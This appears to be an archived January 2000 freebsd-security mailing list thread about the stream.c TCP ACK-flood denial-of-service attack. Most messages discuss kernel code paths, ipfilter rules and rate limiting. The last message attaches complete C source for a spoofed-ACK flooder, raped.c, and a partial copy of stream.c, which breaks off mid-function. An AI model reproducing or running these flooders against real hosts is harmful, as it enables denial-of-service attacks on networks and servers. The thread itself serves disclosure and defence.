Pro Version 4.2.2 Date: Fri, 21 Jan 2000 09:40:50 -0700 To: Reinier Bezuidenhout , robinson@netrinsics.com (Michael Robinson) From: Brett Glass Subject: Re: stream.c workaround clarification Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <200001210946.LAA15150@oskar.dev.nanoteq.co.za> References: <200001210849.QAA01513@netrinsics.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:46 AM 1/21/2000 , Reinier Bezuidenhout wrote: >Hi .. > >Is there any similar rules in IPFW that simulates this ?? As I suspected, this is going to be the number one FAQ about this 'sploit. No, IPFW can't do it without assistance from another program, which has not yet been written. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 8:41:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id BCDD8154E0 for ; Fri, 21 Jan 2000 08:41:19 -0800 (PST) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com ident=wes) by mail.xmission.com with esmtp (Exim 3.03 #3) id 12Bh7a-0001ZG-00; Fri, 21 Jan 2000 09:41:14 -0700 Message-ID: <38888D31.CFF5CF38@softweyr.com> Date: Fri, 21 Jan 2000 09:45:37 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brett Glass Cc: Alfred Perlstein , Matthew Dillon , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <4.2.2.20000120222630.01919150@localhost> <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> <200001210521.VAA56412@apollo.backplane.com> <4.2.2.20000120222630.01919150@localhost> <4.2.2.20000121081444.01a2d480@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass wrote: > > So, we've learned something about what policy to follow. The current TCP/IP > spec is an important standard, but it's not Holy Writ. There are still > things we can learn, and we can fix both the current spec and future ones. > > Whether we implement changes immediately or not is really a matter of > pragmatism. My priority is to keep my systems up and safe from attack, so > I have no qualms about doing that so long as it won't break normal operation. > I'd put in a "stick to the original spec" option for those who were willing > to risk safety for conformance to Holy Writ. YMMV, of course. Nobody disagrees with this; that's why we ALL use systems with source code available. The only argument is whether the defensive posture should be the default or not. Following the specifications as written should be the default setting; we can still use studies of the defensive posture to convince the IETF of the value of changes to the protocol. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 8:43:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from faith.cs.utah.edu (faith.cs.utah.edu [155.99.198.108]) by hub.freebsd.org (Postfix) with ESMTP id 7F78B15499 for ; Fri, 21 Jan 2000 08:43:50 -0800 (PST) (envelope-from danderse@cs.utah.edu) Received: (from danderse@localhost) by faith.cs.utah.edu (8.9.3/8.9.3) id JAA02231; Fri, 21 Jan 2000 09:43:35 -0700 (MST) From: David G Andersen Message-Id: <200001211643.JAA02231@faith.cs.utah.edu> Subject: Re: stream.c workaround clarification To: brett@lariat.org (Brett Glass) Date: Fri, 21 Jan 2000 09:43:34 -0700 (MST) Cc: rbezuide@oskar.dev.nanoteq.co.za (Reinier Bezuidenhout), robinson@netrinsics.com (Michael Robinson), freebsd-security@FreeBSD.ORG In-Reply-To: <4.2.2.20000121093753.01a51ba0@localhost> from "Brett Glass" at Jan 21, 2000 09:40:50 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Lo and behold, Brett Glass once said: > > At 02:46 AM 1/21/2000 , Reinier Bezuidenhout wrote: > > >Hi .. > > > >Is there any similar rules in IPFW that simulates this ?? > > As I suspected, this is going to be the number one FAQ about > this 'sploit. > > No, IPFW can't do it without assistance from another program, > which has not yet been written. And which I'd wager you won't want to do. The overhead of pushing the acks into usermode will clobber you just as badly. Using divert sockets like that is not particularly efficient, unless something major has changed between 3 and 4. -Dave -- work: dga@lcs.mit.edu me: dga@pobox.com MIT Laboratory for Computer Science http://www.angio.net/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 8:54:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 110DD154A5 for ; Fri, 21 Jan 2000 08:54:31 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id JAA20442; Fri, 21 Jan 2000 09:54:20 -0700 (MST) Message-Id: <4.2.2.20000121094204.01a57d50@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 09:54:16 -0700 To: Jeroen Ruigrok/Asmodai From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Darren Reed , security@FreeBSD.ORG In-Reply-To: <20000121102908.A4494@daemon.ninth-circle.org> References: <4.2.2.20000120212336.01882220@localhost> <4.2.2.20000120182425.01886ec0@localhost> <200001210417.PAA24853@cairo.anu.edu.au> <4.2.2.20000120212336.01882220@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:29 AM 1/21/2000 , Jeroen Ruigrok/Asmodai wrote: > >The odds of the source ports being the same are minuscule. Wouldn't this > >prevent a problem? Or am I misunderstanding the implications here? > >Stevens' TCPv1, Chapter 18.8. > >Although I am not sure about the implications of the exact same numbered >source ports. If that is what Darren is saying. Could also be the same >destination ports. Let's recap. We were discussing the code for in_pcblookup_hash() in the file in_pcb.c, and the code which calls it in tcp_input.c. I noted that when a TCP packet comes in, the code searches for an associated socket with the call inp = in_pcblookup_hash(&tcbinfo, ti->ti_src, ti->ti_sport, ti->ti_dst, ti->ti_dport, 1); Note that the last parameter, "wildcard," is always set to 1. This means that two lookups are done if necessary. in_pcblookup_hash first looks for an already open socket, and if that fails it looks for a listener. This second search (badly named, IMHO; it should really say something like "lookforlistener") is done only if the "wildcard" flag is set. What I said was that we should only be looking for a listener if the packet is a SYN; that is, if SYN is set and RST and ACK (and, probably, FIN too) are clear. If it's not something that can start a connection, I can't see why looking for a listener is productive. Darren said that this might cause problems in the case of simultaneous attempted connections in both directions, but I couldn't see how. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 8:55:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from jason04.u.washington.edu (jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (Postfix) with ESMTP id 5ECE11555C; Fri, 21 Jan 2000 08:55:34 -0800 (PST) (envelope-from kraemer@u.washington.edu) Received: from mead2.u.washington.edu (kraemer@mead2.u.washington.edu [140.142.12.164]) by jason04.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA17764; Fri, 21 Jan 2000 08:55:32 -0800 Received: from localhost (kraemer@localhost) by mead2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA118496; Fri, 21 Jan 2000 08:55:32 -0800 Date: Fri, 21 Jan 2000 08:55:32 -0800 (PST) From: Brian Kraemer To: Darren Reed Cc: freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <200001210421.PAA25285@cairo.anu.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 21 Jan 2000, Darren Reed wrote: > btw, I think the better way to write the 3 rules is: > > block in quick proto tcp from any to any head 100 > pass in quick proto tcp from any to any flags S keep state group 100 > pass in all If I'm not mistaken, this ruleset (and no other rules) will also effectively block any outgoing TCP sessions initiated from this machine. The machine will send a SYN, and then get blocked because the input rules never saw an incoming SYN to start keeping state. I assume a rule that keeps state on the outgoing would fix this? -Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 8:56:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id E0BCF154C1 for ; Fri, 21 Jan 2000 08:56:28 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id JAA20467; Fri, 21 Jan 2000 09:56:19 -0700 (MST) Message-Id: <4.2.2.20000121095431.01a23a90@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 09:56:17 -0700 To: Fernando Schapachnik , bobm@atgsystems.com (Bob Madden) From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <200001211120.IAA15446@ns1.via-net-works.net.ar> References: <000101bf63e9$76352f30$01000000@madman> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org A few hours after the exploit was announced, AT&T's backbone began to experience problems. A friend's site, connected directly to AT&T was down, and I couldn't even traceroute to him. Could be=20 coincidence, or it could be that someone was already aiming an=20 attack at some of those routers. Can't tell.... I doubt AT&T would confirm or deny. --Brett At 04:20 AM 1/21/2000 , Fernando Schapachnik wrote: =20 >Has anyone tried stream.c against CISCO, Nortel, etc. routers? > >Althoug off-topic, their (unofficial) vulnerability status would be=20 >very helpfull? > >TIA! > >En un mensaje anterior, Bob Madden escribi=F3: > > I'm grateful for the efforts put forth in finding a reliable means of > > prevention to this attack. I have seen it's effects. For the benefit of= those > > working on the solution, I wanted to share what I see when the attack is= in > > full swing: > >Fernando P. Schapachnik >Administraci=F3n de la red >VIA NET.WORKS ARGENTINA S.A. >fernando@via-net-works.net.ar >(54-11) 4323-3333 > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9: 6:53 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 59BF915500 for ; Fri, 21 Jan 2000 09:06:51 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA20620; Fri, 21 Jan 2000 10:06:44 -0700 (MST) Message-Id: <4.2.2.20000121100135.01a55390@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 10:06:40 -0700 To: gdonl@tsc.tdk.com (Don Lewis), Matthew Dillon From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Alfred Perlstein , security@FreeBSD.ORG In-Reply-To: <200001211510.HAA13068@salsa.gv.tsc.tdk.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:10 AM 1/21/2000 , Don Lewis wrote: >I agree. Failing to set RST makes SYN floods worse. The victim machine >will have more sockets hanging around in a SYN-SENT state that keep sending >SYN+ACK packets until the sockets times out. If the spoofed clients send >RST packets in response, then the server will immediately nuke these >sockets and won't have their incoming bandwidth consumed by the packets >they are ignoring (they'll receive one packet and send one packet for >each spoofed SYN instead of receiving N packets and sending none if they >don't send RST packets). Good point! But should we rely on the hosts sending RSTs? Many SYN floods intentionally use unregistered IPs, for just this reason: a RST never comes back. (But an ICMP "unreachable" message may, and this congests the victim even more.) >It's also a lot easier to spoof a TCP connection from a host that doesn't >send RST packets. Also true. All of this sounds like a good argument for the application of game theory to protocol design. :-S --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:17:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from dozer.skynet.be (dozer.skynet.be [195.238.2.36]) by hub.freebsd.org (Postfix) with ESMTP id 7A03A15500; Fri, 21 Jan 2000 09:17:14 -0800 (PST) (envelope-from blk@skynet.be) Received: from [195.238.1.121] (brad.techos.skynet.be [195.238.1.121]) by dozer.skynet.be (8.9.3/odie-relay-v1.0) with ESMTP id SAA10968; Fri, 21 Jan 2000 18:17:04 +0100 (MET) Mime-Version: 1.0 X-Sender: blk@foxbert.skynet.be Message-Id: In-Reply-To: References: Date: Fri, 21 Jan 2000 18:04:56 +0100 To: Brian Kraemer , Darren Reed From: Brad Knowles Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 8:55 AM -0800 2000/1/21, Brian Kraemer wrote: > If I'm not mistaken, this ruleset (and no other rules) will also > effectively block any outgoing TCP sessions initiated from this machine. > The machine will send a SYN, and then get blocked because the input rules > never saw an incoming SYN to start keeping state. In fact, that is precisely what happens. I speak from experience. Maybe sometime Monday I can get a chance to look at this yet once again and figure out what the right rules should be. I sure as hell ain't gonna be tryin' to make any more changes tonight.... -- These are my opinions and should not be taken as official Skynet policy _________________________________________________________________________ |o| Brad Knowles, Belgacom Skynet NV/SA |o| |o| Systems Architect, Mail/News/FTP/Proxy Admin Rue Col. Bourg, 124 |o| |o| Phone/Fax: +32-2-706.13.11/726.93.11 B-1140 Brussels |o| |o| http://www.skynet.be Belgium |o| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Unix is like a wigwam -- no Gates, no Windows, and an Apache inside. Unix is very user-friendly. It's just picky who its friends are. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:21:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id DD4F015498 for ; Fri, 21 Jan 2000 09:21:48 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 50003 invoked by uid 1001); 21 Jan 2000 12:24:02 -0000 Date: Fri, 21 Jan 2000 12:24:02 +0000 (GMT) From: Intranova Networking Group To: Brett Glass Cc: Fernando Schapachnik , Bob Madden , freebsd-security@FreeBSD.ORG Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <4.2.2.20000121095431.01a23a90@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I think my machine was hit with it this morning. Rebooted at 8:20am and the logs display nothing but ICMP bandwidth limiting messages, we have to find some way to do this efficiently, in the mean time, can we violate the protocol with somewhat of an 'emergency' patch before we get down to business? Imachonu Ogali Intranova Networking Group On Fri, 21 Jan 2000, Brett Glass wrote: > A few hours after the exploit was announced, AT&T's backbone began > to experience problems. A friend's site, connected directly to > AT&T was down, and I couldn't even traceroute to him. Could be=20 > coincidence, or it could be that someone was already aiming an=20 > attack at some of those routers. Can't tell.... I doubt AT&T > would confirm or deny. >=20 > --Brett >=20 > At 04:20 AM 1/21/2000 , Fernando Schapachnik wrote: > =20 > >Has anyone tried stream.c against CISCO, Nortel, etc. routers? > > > >Althoug off-topic, their (unofficial) vulnerability status would be=20 > >very helpfull? > > > >TIA! > > > >En un mensaje anterior, Bob Madden escribi=F3: > > > I'm grateful for the efforts put forth in finding a reliable means of > > > prevention to this attack. I have seen it's effects. For the benefit = of those > > > working on the solution, I wanted to share what I see when the attack= is in > > > full swing: > > > >Fernando P. Schapachnik > >Administraci=F3n de la red > >VIA NET.WORKS ARGENTINA S.A. > >fernando@via-net-works.net.ar > >(54-11) 4323-3333 > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-security" in the body of the message >=20 >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 9:25:56 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.servercom.com (mail.servercom.com [198.76.116.6]) by hub.freebsd.org (Postfix) with ESMTP id 92343154DD for ; Fri, 21 Jan 2000 09:25:42 -0800 (PST) (envelope-from yardley@uiuc.edu) Received: from liquid (wake-gw.wakeland.servercom.com [198.88.186.1]) by mail.servercom.com (Post.Office MTA v3.5.3 release 223 ID# 0-57662U1200L100S0V35) with ESMTP id com; Fri, 21 Jan 2000 11:23:17 -0600 Message-Id: <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> X-Sender: yardley@students.uiuc.edu X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 21 Jan 2000 11:25:26 -0600 To: news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.org From: Tim Yardley Subject: explanation and code for stream.c issues Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org stream.c issues --------------------------------------------------- :: temp remedy (exec summary) --------------------------------------------------- If you use ipfilter... -- start rule set -- block in quick proto tcp from any to any head 100 pass in quick proto tcp from any to any flags S keep state group 100 pass in all -- end rule set -- That will help you "stop" the attack, although it will still use some CPU though Note: If you use IPFW, there is no immediate way to solve this problem due to the fact that it is a stateless firewall. If you are getting attacked, then temporarily use ipfilter to stop it. Otherwise, wait for vendor patches. FreeBSD "unofficial patch" by Alfred Perlstein: http://www.freebsd.org/~alfred/tcp_fix.diff ------------------------------------------------ :: explanation of stream.c attack ------------------------------------------------ It mearly floods the host with ack's coming from random ips with random sequence numbers. This in itself is not too much of a problem, but rate limiting should be done to conteract its effect (the same idea as ICMP_BANDLIM). The attacker specifies the port that they want to send the acks to, depending on what ports are selected, you will have different net results. If the port is an open port, then you will have a longer kernel path to follow before the drop (at least in freebsd). Therefore, the smart attacker will hit open ports. Now, speaking specifically in terms of fbsd... this involves /sys/netinet/tcp_input.c In there, it will do a hash lookup on each and every packet in the function in_pcblookup_hash(). The wildcard bit was set by default, which would cause it to do 2 hash lookups per call, the reasoning is for connected syns (ie, recieving a syn during a connected stream already or for open ports) Since the attackers ack was recieved on something that was not already connected... fbsd will drop the packet. The problem is how they go about doing so. The same holds true for all other os's that I tested on. Again, in fbsd, the hash call returns a null pointer if it doesnt have a corresponding syn then if it isnt past the icmp_bandlim it drops with reset otherwise it just drops. The problem is.. if the attacker hits a port that is listening then one of the hash lookups will succeed and that means that the packet will not be immediately dropped, it will be processed a little first. Later in the code, if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) { that line will cause the ACK attack packet to be dropped after some processing because it is not a syn packet (it will drop the packet with a RST). In the meantime, it ate up cpu cycles (checksums were calculated, hash lookups, and some other misc things) Overall it doesnt take much cpu time per packet... but it does take a lot of cpu time compared to a null pointer being returned on the hash lookup so, when you bombard a host with enough of these ack packets... it uses too much CPU and that causes the machine to either exhaust its resources, panic, lag horribly, and possibly crash in the end. In the best case scenario, you will experience only the lag of the flood and the lag of the processing (currently) and then be fine when the attacker stops, In the worst case, you reboot. Once you patch it, you deal with a lot less processing time (the drops are handled without the RST flag when appropriate -- bandlim type idea). In other words, you go to the drop routine instead of dropwithrst silencing your response, which decreases your processing time, the hit on your network, and the effect of the flood (once a threshold is reached, all those bad packets are silently dropped and the attack has less of a net effect). ----------------------- :: conclusion ----------------------- Since this is not as big of a deal as what it was made out to be and "fixes" exist, I am posting this explanation and code. I am not the finder of the "problem" or the author of stream.c, but full disclosure is a nice thing to see. -------------------- :: references -------------------- This was done independantly, although some of the analysis and reverse engineering of concept was done by other people. As a result, I would like to give credit where credit is due. The following people contributed in some way or another: Brett Glass Alfred Perlstein Warner Losh Darren Reed Also, I would like to send shouts out to w00w00 (http://www.w00w00.org/) ------------------- :: attached ------------------- There are two things attached, one is stream.c.. the other is raped.c. I threw together raped.c in about 30 minutes or so for the independant testing. A while after I was done testing, I was given a copy of stream.c. It seems as if they both have effects... but they are not substantial in my opinion (except in odd cases that I couldn't quite explain). These programs are for the sake of full disclosure, don't abuse them. -- start raped.c -- /* * raped.c by Liquid Steel [lst @ efnet -- yardley@uiuc.edu] * src: this is the old hose.c by prym, modified to suit my purposes * exploits: the stream.c "problem", not.. i did not have the stream.c source when this was written * this is just a reverse engineer based on discussion and tcp patches released. * compile: this is a 5 minute hack, and a 30 minute test prog, treat it as such * side note, this is obviously only for linux due to the header format. */ #include #include #include #include #include #include #include #include int ports, s, i; char *dsthost; unsigned long dst; unsigned long portarray[255]; void abort (void) { printf (":: exiting...\n\n"); close (s); exit (0); } void banner (void) { printf ("-------------------\n"); printf ("::\n"); printf (":: raped.c by lst\n"); printf ("::\n"); printf ("-------------------\n"); } void usage (char *progname) { printf ("usage: %s \n", progname); printf ("\t - destination host\n"); printf ("\t - ports to flood\n\n"); exit (1); } void parse_args (int argc, char *argv[]) { dsthost = argv[1]; for (i = 2; i < argc; i++) { ports++; portarray[ports] = atoi (argv[i]); } } unsigned long resolve_host (char *h) { struct hostent *host; if ((host = gethostbyname (h)) == NULL) { printf (":: unknown host %s\n", h); exit (1); } return *(unsigned long *) host->h_addr; } /* stolen from ping.c */ unsigned short in_cksum (u_short * addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } void send_tcp_segment (struct iphdr *ip, struct tcphdr *tcp, char *data, int dlen) { char buf[65536]; struct { unsigned long saddr; unsigned long daddr; char mbz; char proto; unsigned short tcplength; } ph; struct sockaddr_in sin; ph.saddr = ip->saddr; ph.daddr = ip->daddr; ph.mbz = 0; ph.proto = IPPROTO_TCP; ph.tcplength = htons (sizeof (*tcp) + dlen); memcpy (buf, &ph, sizeof (ph)); memcpy (buf + sizeof (ph), tcp, sizeof (*tcp)); memcpy (buf + sizeof (ph) + sizeof (*tcp), data, dlen); memset (buf + sizeof (ph) + sizeof (*tcp) + dlen, 0, 4); tcp->check = in_cksum ((u_short *) buf, (sizeof (ph) + sizeof (*tcp) + dlen + 1) & ~1); memcpy (buf, ip, 4 * ip->ihl); memcpy (buf + 4 * ip->ihl, tcp, sizeof (*tcp)); memcpy (buf + 4 * ip->ihl + sizeof (*tcp), data, dlen); memset (buf + 4 * ip->ihl + sizeof (*tcp) + dlen, 0, 4); ip->check = in_cksum ((u_short *) buf, (4 * ip->ihl + sizeof (*tcp) + dlen + 1) & ~1); memcpy (buf, ip, 4 * ip->ihl); sin.sin_family = AF_INET; sin.sin_port = tcp->dest; sin.sin_addr.s_addr = ip->daddr; if (sendto (s, buf, 4 * ip->ihl + sizeof (*tcp) + dlen, 0, &sin, sizeof (sin)) < 0) { perror (":: error: sending syn packet"); exit (1); } } int main (int argc, char *argv[]) { struct iphdr ip; struct tcphdr tcp; struct timeval tv; struct sockaddr_in sin; int blah = 1; signal (SIGINT, (void (*)()) abort); banner (); if (argc < 3) usage (argv[0]); parse_args (argc, argv); dst = resolve_host (dsthost); srand (time (NULL)); printf (":: destination host - %s\n", dsthost); printf (":: destination port(s)"); for (i = 1; i < ports + 1; i++) printf (" - %d", portarray[i]); printf ("\n"); if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror (":: error: can not open socket"); exit (1); } if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *) &blah, sizeof (blah)) < 0) { perror (":: setsockopt"); exit (1); } ip.version = 4; ip.ihl = 5; ip.tos = 0x8; ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_TCP; ip.check = 0; ip.daddr = dst; tcp.res1 = 0; tcp.fin = 0; tcp.syn = 0; tcp.rst = 0; tcp.psh = 0; /* make it an ACK packet */ tcp.ack = 1; tcp.urg = 0; tcp.res2 = 0; tcp.urg_ptr = 0; printf (":: raping...\n"); printf (":: press ^C to end...\n"); for (;;) { for (i = 1; i < ports + 1; i++) { ip.saddr = rand (); ip.tot_len = sizeof (ip) + sizeof (tcp); ip.id = htons (random ()); tcp.source = htons (1024 + rand () % 32000); tcp.dest = htons (portarray[i]); /* randomize seq */ tcp.seq = random (); tcp.doff = sizeof (tcp) / 4; tcp.window = htons (16384); /* randomize ack */ tcp.ack_seq = random (); send_tcp_segment (&ip, &tcp, "", 0); } } return 1; } -- end raped.c -- -- start stream.c -- #include #include #include #include #include #include #include #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #include #include #include #include #include #include #ifdef LINUX #define FIX(x) htons(x) #else #define FIX(x) (x) #endif struct ip_hdr { u_int ip_hl:4, /* header length in 32 bit words */ ip_v:4; /* ip version */ u_char ip_tos; /* type of service */ u_short ip_len; /* total packet length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* ip checksum */ u_long saddr, daddr; /* source and dest address */ }; struct tcp_hdr { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ u_long th_seq; /* sequence number */ u_long th_ack; /* acknowledgement number */ u_int th_x2:4, /* unused */ th_off:4; /* data offset */ u_char th_flags; /* flags field */ u_short th_win; /* window size */ u_short th_sum; /* tcp checksum */ u_short th_urp; /* urgent pointer */ }; struct tcpopt_hdr { u_char type; /* type */ u_char len; /* length */ u_short value; /* value */ }; struct pseudo_hdr { /* See RFC 793 Pseudo Header */ u_long saddr, daddr; /* source and dest address */ u_char mbz, ptcl; /* zero and protocol */ u_short tcpl; /* tcp length */ }; struct packet { struct ip/*_hdr*/ ip; struct tcphdr tcp; /* struct tcpopt_hdr opt; */ }; struct cksum { struct pseudo_hdr pseudo; struct tcphdr tcp; }; struct packet packet; struct cksum cksum; struct sockaddr_in s_in; u_short dstport, pktsize, pps; u_long dstaddr; int sock; void usage(char *progname) { fprintf(stderr, "Usage: %s \n", progname); fprintf(stderr, " dstaddr - the target we are trying to attack.\n"); fprintf(stderr, " dstport - the port of the target, 0 = random.\n"); fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n"); exit(1); } /* This is a reference internet checksum implimentation, not very fast */ inline u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } u_long lookup(char *hostname) { struct hostent *hp; if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Could not resolve %s.\n", hostname); exit(1); } return *(u_long *)hp->h_addr; } void flooder(void) { struct timespec ts; int i; memset(&packet, 0, sizeof(packet)); ts.tv_sec = 0; ts.tv_nsec = 10; packet.ip.ip_hl = 5; packet.ip.ip_v = 4; packet.ip.ip_p = IPPROTO_TCP; packet.ip.ip_tos = 0x08; packet.ip.ip_id = rand(); packet.ip.ip_len = FIX(sizeof(packet)); packet.ip.ip_off = 0; /* IP_DF? */ packet.ip.ip_ttl = 255; packet.ip.ip_dst.s_addr = dstaddr; packet.tcp.th_flags = 0; packet.tcp.th_win = htons(16384); packet.tcp.th_seq = random(); packet.tcp.th_ack = 0; packet.tcp.th_off = 5; /* 5 */ packet.tcp.th_urp = 0; packet.tcp.th_sport = rand(); packet.tcp.th_dport = dstport?htons(dstport):rand(); /* packet.opt.type = 0x02; packet.opt.len = 0x04; packet.opt.value = htons(1460); */ cksum.pseudo.daddr = dstaddr; cksum.pseudo.mbz = 0; cksum.pseudo.ptcl = IPPROTO_TCP; 